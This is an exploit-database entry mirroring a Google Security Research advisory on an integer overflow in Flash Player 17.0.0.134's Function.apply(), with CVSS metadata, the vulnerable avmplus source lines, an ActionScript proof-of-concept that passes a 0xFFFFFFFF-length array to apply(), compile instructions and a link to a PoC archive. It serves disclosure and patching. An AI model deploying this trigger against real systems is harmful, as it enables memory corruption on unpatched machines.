Integer Overflow in Function.apply()

vendor:

Flash Player

by:

Google Security Research

8.8

CVSS

HIGH

Integer Overflow

190

CWE

Product Name: Flash Player

Affected Version From: 17.0.0.134

Affected Version To: 17.0.0.134

Patch Exists: YES

Related CWE: CVE-2015-5122

CPE: o:adobe:flash_player:17.0.0.134

Metasploit: https://www.rapid7.com/db/vulnerabilities/suse-cve-2015-5122/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2015-5122/, https://www.rapid7.com/db/vulnerabilities/hpsim-cve-2015-5122/, https://www.rapid7.com/db/vulnerabilities/adobe-flash-apsb15-18-cve-2015-5122/, https://www.rapid7.com/db/vulnerabilities/linuxrpm-RHSA-2015-1235/

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2015

Integer Overflow in Function.apply()

An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.

Mitigation:

Upgrade to the latest version of Adobe Flash Player

Source

Exploit-DB raw data:

Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]

VULNERABILITY DETAILS
An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.

VERSION
Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
Operating System: Win7 x64 SP1

REPRODUCTION CASE

From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp

944 // Specialized to be called from Function.apply(). 
945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 
946 { 
947     int32_t argc = a->getLength(); 

...
 
966     // Tail call inhibited by local allocation/deallocation. 
967     MMgc::GC::AllocaAutoPtr _atomv; 
968     Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom));   //here if argc = 0xFFFFFFFF we get an integer overflow
969     atomv[0] = thisArg; 
970     for (int32_t i=0 ; i < argc ; i++ ) 
971         atomv[i+1] = a->getUintProperty(i); 
972     return env->coerceEnter(argc, atomv); 
973 } 


So the idea is to use the rest argument to get a working poc. For example:

    public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
        
        try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
        try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
        
    }
    public function XApplyPoc() {
        var a:Array = new Array()
       
        a.length = 0xFFFFFFFF
        myFunc.apply(this, a)
    }

Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip